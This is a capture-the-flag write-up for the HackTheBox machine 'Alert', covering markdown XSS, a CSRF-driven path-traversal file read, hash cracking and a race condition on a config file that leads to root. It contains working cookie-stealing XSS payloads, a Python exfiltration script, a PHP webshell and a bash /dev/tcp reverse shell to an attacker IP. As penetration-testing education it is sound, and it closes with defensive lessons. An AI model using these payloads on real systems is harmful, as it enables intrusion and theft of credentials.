Alert

INTRODUCTION

Alert was released between seasons 6 and 7. I came to Alert after a substantial hiatus, and I’m glad I did! It was pretty fun. Even though it is marked as Easy, I found the foothold challenging. Privesc to root was also very pleasant, albeit quick.

Recon is pretty simple on this one. Most of what we need can be obtained through a scan for subdomains and a crawl of the main website. Early on, we discover a subdomain that is hiding behind http-basic-auth, which is a hint that there may be either XSS required or credentials to obtain.

Foothold is the majority of Alert. The name of the box is a hint that it requires a little XSS. That being said, it’s not your typical “Easy box” XSS situation - be prepared for a more circuitous strategy that requires two exploits to be chained. The author of this box did a great job designing foothold: (almost) every piece of both websites you see becomes an integral piece of the path towards foothold. Knowledge of the HTTP server framework will be useful here. Like many Easy boxes, once you achieve code execution, you can obtain the User flag without any pivot or escalation.

Privilege escalation to Root was very easy to identify. A typical privilege escalation checklist will quickly point out the vulnerable aspect of the box. Some may find the vulnerability a little difficult to exploit at first, but don’t worry - all you need to do is be faster than your target! Scripting a solution (even as a one-liner) will net you the root flag.

Alert was a very interesting box, and well-designed. Personally, foothold required a bit of learning and analysis to figure out. I would recommend this box for anyone keen on web app vulnerabilities.

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR

PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
12227/tcp filtered unknown

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR

22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
12227/tcp filtered unknown

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No meaningful results.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No results from the UDP scan.

Webserver Strategy

Noting the redirect from the nmap scan, I added alert.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=alert.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

Subdomain enumeration

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results. Next I’ll check for subdomains of alert.htb

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

We found statistics.alert.htb as well! We will at this to /etc/hosts:

echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

Directory enumeration

First, let’s check directories of alert.htb:

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

Next we will perform directory enumeration on statistics.alert.htb:

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://statistics.$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-statistics -of json -timeout 4 -v

But there were no results.

Exploring the Website

The website appears to have some kind of file upload feature that allows us to view markdown files. Here’s the landing page, also the Markdown Viewer tab:

Something I noticed right away is the address bar:

http://alert.htb/index.php/?page=alert

☝️ Often, when we can load a particular page based on a URL querystring, this is a dead giveaway for local file inclusion (LFI), but we can easily test that later.

Note that, if it is actually an LFI, the server is trimming off the file extension (does that mean it always assumes PHP? that would be great for us)

Page enumeration

Let’s see if there are any pages we don’t yet know about:

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST -u "http://$DOMAIN/index.php?page=FUZZ" -c -t 60 -timeout 4 -ic -ac

There’s no obvious link to messages that I saw, but that page seems empty anyway.

Contact Us is at /index.php?page=contact; it seems like a pretty normal contact form.

About Us is at /index.php?page=about. It contains a message that seems like it hints at a possible XSS:

Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!

😮 Aha! The administrator, you say? Sounds like a good opportunity for some phishing, and maybe XSS… perhaps we can grab their credentials or a session cookie? I’ll check for that after I look at file upload vulnerabilities 🚩

Donate doesn’t seem like it does much. There is a form we can fill out, with a single numerical value.

File Upload Vulnerability

🚫 This section provided some interesting info on the target, but did not progress us towards a solution. If you’re short on time, please feel free to skip to the [next section](Markdown XSS).

We can select a file, then upload it. Upon uploading a regular, valid markdown file, we can see that it renders normally:

# THIS IS MY TITLE

> here is a quote

This is a [link to my attacker http server](http://10.10.14.5:8000)

...And finally here's some `oddly` *formatted* **text**.

---

However, the link at the bottom is more interesting… We can see that the server shows us exactly where the file was uploaded to!

💪 Having a way to consistently know the file upload location gets us one step closer to exploiting a file upload vulnerability!

The file upload also seems perfectly happy to handle a PHP file, as long as it has a .md file extension:

This simple fact tells us that they’re not checking the MIME type of the uploaded file, or the file magic bytes. The upload logic is only based on file extension.

File Extension Enumeration

First, I’ll make a wordlist. Starting with this one from PayloadAllTheThings, I subsituted all of the image-related filetypes out for md, then ran it through sort -u to remove duplicates:

By the way, all the file extension testing won’t matter if the file gets renamed to md upon upload.

Let’s use ZAP Fuzz to test the file extensions (any fuzzer would be fine, though). I proxied the upload of my basic PHP webshell (renamed to webshell.md) then used that request as a template for Fuzz - select the filename extension, then add a wordlist-based payload at that location:

That Fuzz operation should be really fast, since it’s only one payload and a short wordlist. We can see which operations successfully uploaded a file by sorting the results by size:

Any of the filenames that end with .md seem to work fine. By itself, this is not actionable, but it’s good info to know.

To make sure that it wasn’t the Content-Type header that was allowing these through, I tried changing it to application/x-httpd-php and got the exact same result.

Alternative access to the upload

We saw earlier during directory enumeration that http://alert.htb/uploads exists. When we successfully upload a file, we get a link to it (from the Share Markdown button) like this:

<a class="share-button" href="http://alert.htb/visualizer.php?link_share=67911d87a9a8d8.93422876.md" target="_blank">Share Markdown</a>

Let’s see if that same filename exists within the /uploads directory, just to gain some more understanding of the web app:

# This is a file that was uploaded with a PHP content-type, and .php\x00.md file extension:
curl http://alert.htb/uploads/67911fc62e7931.86589865.md -i

Summary

We’ve identified two protective mechanisms for file uploads:

• file extension allowlist (.md only )
  • There is no way that we can get PHP to “run” a .md file
• randomized filenames
  • Not a total dealbreaker, but severely limits our options for filename bypass trickery

Unfortunately, I don’t see any way around the file extension denylist this time. If we can’t get the target to accept an upload for a file that is not some type of PHP extension, then there is no way we will be able to plant a webshell. 👎

Not to worry - we still have that very promising clue to investigate, the one that might be hinting at XSS. 🚩

FOOTHOLD

Markdown XSS

We saw earlier that the markdown rendering tool will (as promised) render markdown - but can we also use it for XSS?

Thankfully, it is actually perfectly fine to have raw HTML inside markdown. That means we should be able to take a standard list of XSS payloads and try them inside a markdown file instead of HTML.

One of my tools, Crxss-Eyed is perfect for this. Normally, it’s for spraying XSS payloads as POST requests used for form submissions. However, it has a very nice side-effect, in that one of the log files it produces is a list of all payloads generated.

Moreover, each payload is labelled - so if any of them work, we’ll know which one was successful.

Here’s the list of payloads I got from crxss-eyed:

<http://10.10.14.5:8000/?payload=anglebrackets>
<a>http://10.10.14.5:8000/?payload=htmlanchortag</a>
<script>document.location='http://10.10.14.5:8000/?payload=scriptdocloc'</script>
<img src=x onerror="document.location='http://10.10.14.5:8000/?payload=imgonerrordocloc'">
<img src=x onerror=fetch("http://10.10.14.5:8000/?payload=imgonerrorfetch");>
<style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="document.location='http://10.10.14.5:8000/?payload=cssanimation'"></p>
<svg><animate onbegin="document.location='http://10.10.14.5:8000/?payload=svganimation'" attributeName=x dur=1s>
<style onload="document.location='http://10.10.14.5:8000/?payload=styleonload'"></style>
<script> new Image().src="http://10.10.14.5:8000/?payload=newimagesrc&b64="+document.cookie; </script>
<script src='http://10.10.14.5:8000/?payload=scriptsrc&b64='+document.cookie</script>
<script src="http://10.10.14.5:8000/grabcookie.js?payload=extscript"></script>
<img src=x onerror="fetch("http://10.10.14.5:8000/?payload=imgonerrorfetchcookie&b64="+document.cookie);">
<script>document.location='http://10.10.14.5:8000/?payload=scriptdocloccookie&b64='+document.cookie</script>

A few of these are actually just links, not really XSS payloads. They’re included because, on HackTheBox, we often need to test for some kind of bot-driven interaction where the bot will blindly click links placed in from of them (simulating a successful phishing attempt)

But if we have HTML links, and this is a markdown document we’re writing payloads into; shouldn’t we also include all forms of markdown links? Here are some ways we can link to external resources in markdown:

• Regular text. Maybe they viewer will just copy-paste the address?

  Hello, please visit http://malicious.tld when you get a sec
  

• Link, which renders to a <a>

  [my link](http://malicious.tld)
  

• Image, which renders to an <img>

  ![puppy](http://malicious.tld/puppy.png)
  

• Link Reference (typically used for stuff like footnotes)

  [id]: http://malicious.tld "optional title"
  [link text][id]
  

• Image Reference

  [image-id]: http://malicious.tld/puppy.png "optional title"
  ![alt text][image-id]
  

• Angle brackets sometimes render an <a>

  <http://malicious.tld>
  

Great, now let’s cram all that into one markdown file. I’ll remove the XSS payloads that are for cookie-stealing for now (can add them back in later if needed). This is the result, xss.md:

# Bug Report

Administrator, please investigate these serious issues! **Check each link**

http://10.10.14.5:8000/?payload=regularlink

[link](http://10.10.14.5:8000/?payload=markdownlink)

![alttext](http://10.10.14.5:8000/?payload=markdownimage)

[linkid]: http://10.10.14.5:8000/?payload=referencelink "optional title"
[link text][linkid]

[imageid]: http://10.10.14.5:8000/?payload=referenceimage "optional title"
![alt text][imageid]

<http://10.10.14.5:8000/?payload=anglebrackets>

<a>http://10.10.14.5:8000/?payload=htmlanchortag</a>

<script>document.location='http://10.10.14.5:8000/?payload=scriptdocloc'</script>

<img src=x onerror="document.location='http://10.10.14.5:8000/?payload=imgonerrordocloc'">

<img src=x onerror=fetch("http://10.10.14.5:8000/?payload=imgonerrorfetch");>

<style>@keyframes x{}</style><p style="animation-name:x" onanimationstart="document.location='http://10.10.14.5:8000/?payload=cssanimation'"></p>

<svg><animate onbegin="document.location='http://10.10.14.5:8000/?payload=svganimation'" attributeName=x dur=1s>

<style onload="document.location='http://10.10.14.5:8000/?payload=styleonload'"></style>

Testing the payloads

Now we have a pretty good list of basic XSS payloads and links for markdown, so let’s test it out. First, I’ll start up an HTTP listener (I’ll use my simple-http-server):

sudo ufw allow from $RADDR to any port 8000
simple-server 8000

Now I’ll submit the markdown file and see what happens:

As soon as we submit the file, the browser is redirected to my http listener (serving my toolbox). 😂 Glad I spent that time making a nice list of payloads, literally the simplest one worked:

<script>document.location='http://10.10.14.5:8000/?payload=scriptdocloc'</script>

All this really proves is that we can XSS ourselves though. If anyone else looks at the rendered markdown file, they’ll also be redirected to the http listener.

For what it’s worth, I also tried putting the contents of xss.md into the Contact Us form, but never got any hits from it.

🤔 How can we get the administrator to become our XSS victim?

Since this is a really simple payload in script tags, I’ll swap it out for something less annoying to deal with - a simple fetch() instead of a redirect:

# XSS

To utilize the XSS, we insert a `fetch()` within script tags. Easy!

<script>fetch('http://10.10.14.5:8000/?payload=scriptfetch')</script>

Administrator XSS

Recall that interesting hint we saw on the About Us page:

Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!

👀 Is it too weird to just try to phish them? Maybe not. The name of the box is Alert, after all - and what’s the XSS trope? Yes, popping alert(1).

We already know that the Contact Us page is not vulnerable to XSS (well, probably). So maybe this hint is telling us something else? Maybe the correct thing is to use the Contact Us form to send the administrator to the actual XSS, which we’ve already proven can reside in the uploaded/rendered markdown file!

I’ll try using the Contact Us page to “suggest” to the administrator to go check out our uploaded file:

But… unfortunately I STILL did not receive any requests at my http listener!

At least, not until I simplified my message:

That’s great! Unfortunately, I’m still unable to get any cookie from the administrator 🍪

More than cookies

Maybe I can use this XSS more as a CSRF, having the administrator perform a request then forwarding the response of that request over to our HTTP listener?

As an XSS payload, I’ll ditch the simple fetch() command and instead do a two-stage request:

fetch('http://path/to/protected/resource')
    .then(r => r.text())
    .then(t => {
        const b64 = btoa(new DOMParser().parseFromString(t, "text/html").body.innerHTML); 
        fetch('http://10.10.14.5:8000/?b64='+b64); 
    });

Write a script

Since it’s been getting a little tedious using ZAP for this, I wrote a python script that does the whole process:

1. Adjust the javascript payload so that it requests a particular resouce
2. Saves the javascript payload into a markdown file
3. Uploads the markdown file to the target, parsing the response for the link to the uploaded file
4. Use the Contact Us form to send the link to the administrator, tricking them into getting XSS’d
5. The payload fires, which requests a (protected) resource on the administrator’s behalf, then forwards the response to my HTTP listener

Here’s the script, in all its glory:

#!/usr/bin/env python3

import requests
import re
import readline
import sys

timeout = 5
markdown = '''
# XSS

To utilize the XSS, we insert a `fetch()` within script tags. Easy!

<script>
fetch('##URL##')
    .then(r => r.text())
    .then(t => {
        const b64 = btoa(new DOMParser().parseFromString(t, "text/html").body.innerHTML); 
        fetch('http://10.10.14.5:8000/?b64='+b64); 
    });
</script>
'''

headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Referer': 'http://alert.htb/index.php'
}

def write_markdown(filepath, markdown):
    with open(filepath, 'wb') as f:
        f.write(markdown.encode('utf-8'))
    
def upload_markdown(filepath):
    url = 'http://alert.htb/visualizer.php'
    with open(filepath, 'rb') as f:
        files = {
            'file': ('xss.md', f, 'text/markdown')
        }
        response = requests.post(url, headers=headers, files=files, timeout=timeout)
        link = re.search(r'href="http://alert.htb/visualizer\.php\?link_share=[0-9a-f]+\.[0-9]+\.md"', response.text)
        if link:
            return link.group(0)[6:-1]  # trim off the http:// and second " quotation mark
    return ""

def contact_admin(link):
    url = 'http://alert.htb/contact.php'
    data = {
        "email": "jim@bob.htb",
        "message": link
    }
    response = requests.post(url, data, timeout=timeout)

if __name__ == "__main__":
    while True:
        try:
            resource = input("\n>> ")
            if readline.get_history_item(readline.get_current_history_length() - 1) == resource:
                print(resource)
            md = markdown.replace("##URL##", resource)
            write_markdown('xss_temp.md', md)
            link = upload_markdown('xss_temp.md')
            print(link)
            contact_admin(link)
        except KeyboardInterrupt:
            print("Exiting...")
            sys.exit(0)

I’ll try it out, and see if I can access the ?page=messages page that we saw earlier (but when we visited, it was empty):

Huh? Alright. It’s not actually empty… but it may as well be. 😞

Once I saw that the administrator’s messages page was different from mine, I was quite excited! But it turns out the link listed there leads to an essentially blank page.

💡 Take a closer look at that URL, though: http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt. The querystring uses a parameter called file. Can we use this for file inclusion, therefore creating a CSRF situation?

I tried accessing this URL without the XSS and got an empty page; there is probably something special about having the administrator request the resource.

Read files

Maybe we can use messages.php to load other files, too? I’ll try /etc/passwd using a path traversal:

👏 Alright! it worked first try.

I tried accessing `/home/david/.ssh/id_rsa

Enumerating via CSRF

There are a lot more files that might be important than just /etc/passwd. I did a bunch of checks; here’s a summary:

That .htpasswd hash is exactly what I needed:

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

🤔 never seen that hash format before. Interesting

Cracking the hash

I’ll put this hash into a file and attempt to crack it:

echo 'albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > loot/htpasswd.hash
WLIST=/usr/share/wordlists/rockyou.txt
nth -t '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/'  # MD5, md5apr, Apache MD5 likely; All are mode 1600
hashcat -m 1600 loot/htpasswd.hash $WLIST --username

Within milliseconds, the hash was cracked:

Great, we now have credentials for statistics.alert.htb: albert : manchesterunited

Credential reuse

Before I try anything else, I’ll check for credential reuse. We have only one password, but know a couple usernames; we know of only statistics.alert.htb and SSH that require authentication:

Credential reuse confirmed! We now have SSH access as albert:

Alert Dashboard

The website at statistics.alert.htb seems completely static, and that is has no clues. Nothing to attack here:

There is something of an Easter Egg though… Ever notice how we keep seeing the same set of names on all these @FisMatHack boxes?

USER FLAG

Our new SSH connection lands us in /home/albert, adjacent to the user flag. Read it for the points:

cat user.txt

ROOT FLAG

Local enumeration - albert

Albert can’t sudo anything, so we likely need to pivot to david before we can go looking for privesc.

Oddly enough, albert is part of an interesting group:

id
# uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)

I’ll investigate this next 🚩

netstat shows an internally listening service on port 8080:

Ligolo-ng

Normally (since we already have SSH) I’d access this internally-listening port 8080 by doing a local port forward with ssh -L. Today, I’d like to try something new… ligolo-ng.

Please check out my guide on setting up and using ligolo-ng if you want more detail. If not, just know that we can use it for accessing anything internal to the target, and we access it at 240.0.0.1.

It’s an HTTP server listening on port 8080. Navigating to it, we can see it’s some kind of uptime monitor for other websites:

The page footer indicates that this is a web app called Website Monitor. If we follow the links, it leads to an open source tool available here.

Website Monitor

We’ve already seen the source code - it’s a very simple PHP-driven website that can render some markdown. But where on the filesystem is it running? While trying to identify this, I stumbled across a hint in ps aux:

inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config

🤔 So there’s some process watching for modifications of /opt/website-monitor/config, eh?

Checking that directory, we can see it’s definitely the right thing. It looks identical to that open source tool:

What’s really interesting is that the config directory is under the management group, which albert is a member of!

We can make any changes we want to that directory. This explains the inotifywait we saw in ps aux: it’s part of a cleanup script.

There’s only one file in the directory: configuration.php. Since we’re able to modify this file, it would be smart to check if it gets “included” elsewhere in the PHP application:

cd /opt/website-monitor
grep -iR "configuration.php" ./
# ./monitor.php:include('config/configuration.php');
# Binary file ./.git/index matches
# ./index.php:include('config/configuration.php');

Nice! It’s included in two places, and one of them is index.php. Code execution should be easy, then. Check out the contents of configuration.php:

<?php
define('PATH', '/opt/website-monitor');
?>

Yep, that’s all it does! That PATH constant gets used all over the application, bu here’s a sample:

Wow, perfect. The include(PATH.'Parsedown.php'); line is vulnerable to us changing the PATH by editing config/configuration.php.

Strategy

We could do this to gain code execution in the context of that PHP application:

1. Copy the whole /opt/website-monitor directory to a place that I control
2. Make a PHP webshell or reverse shell, and overwrite Parsedown.php in my attacker-controlled directory with that webshell/revshell
3. Modify /opt/website-monitor/config/configuration.php to set the PATH to my attacker-controlled directory.
4. Visit the Website monitor page, or make a cURL request to it - this will execute index.php and make it load my malicious copy of Parsedown.php

Proof of Concept

Let’s start by making an attacker controlled directory and copying the code into it:

mkdir -p /tmp/.Tools/test; cd /tmp/.Tools/test
wget http://10.10.14.5:8000/webshell.php
cp -r /opt/website-monitor/* ./*
mv webshell.php Parsedown.php

The webshell is really simple:

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = $_REQUEST['cmd'];
    echo "<pre>$cmd</pre><hr/><pre>";
    $output = system($_REQUEST['cmd'], $retval);
    echo "</pre>";
}
else{
     echo "Please enter a command using the \"cmd\" parameter";
}
?>

Now let’s try modifying the configuration.php file from the live server:

My changes are being immediately overwritten. It looks like that inotifywait process is kicking in and replacing my changes with a backup copy of the file.

Maybe it’s a matter of speed? Can we create a race condition?

sed -i 's/\/opt\/website-monitor/\/tmp\/.Tools\/test/g' configuration.php; cat configuration.php
# <?php
# define('PATH', '/tmp/.Tools/test');
# ?>

😂 That worked - super. Let’s utilize the webshell in the same way, then:

sed -i 's/\/opt\/website-monitor/\/tmp\/.Tools\/test/g' configuration.php; curl -s http://localhost:8080 --data 'cmd=touch+/tmp/t' > /dev/null

Let’s check if it worked:

🎉 Hooray! Not only did it work perfectly, it looks like this website-monitor app is ran by the root user.

Root privesc

Let’s open a reverse shell instead of the webshell. I’ll start a reverse shell listener:

sudo ufw allow from $RADDR to any port 4444 proto tcp
bash
nc -lvnp 4444

Now I’ll modify my PoC to use a reverse shell payload. Since the payload is in x-www-form-urlencoded form data, I’ll url-encode it:

url_encode 'bash -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"'
# bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.5%2F4444+0%3E%261%22

The whole command should be like this:

sed -i 's/\/opt\/website-monitor/\/tmp\/.Tools\/test/g' configuration.php; curl -s http://localhost:8080 --data 'cmd=bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.5%2F4444+0%3E%261%22' > /dev/null

👏 And we catch a reverse shell!

Now we can read the flag to finish off the box 💰

cat /root/root.txt

EXTRA CREDIT

Persistence as root

We have a reverse shell as root right now. I tried planting an SSH key to achieve persistence, but it looks like key-based authentication is disabled for SSH. What’s another good way to privesc?

Well… let’s just change the password 🤷‍♂️

Normally, I wouldn’t advocate doing this: it’s a little rude other HTB players that are in the same box instance as you.

“Why?” you ask? Because if someone has decided to privesc by dumping the contents of /etc/shadow, then changing the root password will undo their work.

Performing the password change is as easy as it normally is:

passwd

Now we might be able to just log in over SSH (disabling password-based authentication over SSH for the root user is very common security measure):

ssh root@alert.htb  # password: 4wayhandshake

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf ./source/website-monitor
rm ./source/website-monitor.zip

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

Attacker

• 🎎 Test each part of an attack. It took me longer than I care to admit to figure out how to connect the two pieces of the website - leveraging the phishing message into XSS (then CSRF after). My time would have been better spent by trying to XSS myself and noting the protective mechanisms in-place. If I had looked for that, I would have been less fixated on session hijacking.

• 🔭 Let recon guide your enumeration. Even though I already knew that the subdomain was running http-basic-auth, I didn’t immediately think to try to find the .htpasswd file. Instead, I stumbled across it while enumerating other aspects of Apache. Thankfully I realized it eventually, but it did take longer than it should have.

Defender

• 🏗️ Use the framework. You may hear security people saying “use a framework” often, but what I mean is more specific: you should utilize the features of your framework to the fullest extent possible. Many more eyes have seen the framework code than your custom application, so it’s best to use whatever the framework can provide. On this box, that means we should have used whatever File/Directory-listing solution the framework provided, instead of creating a customized file-reading page (/messages).

• 🥸 XSRF is easy and essential. The knee-jerk reaction for preventing CSRF attacks (like the one we leveraged into an LFI) is to apply an anti-CSRF token to each “state-changing” request. Our attack did not change any “state” in the application, but it could have been prevented by proper application of per-request anti-CSRF tokens. The server may have recognized that the request for GET /messages?file=[filename]

• 🐇 Never rely on timing. I’m not sure if it was meant as a cleanup script or as a defensive measure, but the inotifywait process that kept website-monitor’s config files safe was woefully misguided. Instead of relying on one process (inotifywait) being faster than another process (whatever operation is changing the config file), the file should have had proper access control applied. The solution on the box like… if, instead of locking a door, you hire someone full-time to quickly shut the door if it ever opens - just seems silly!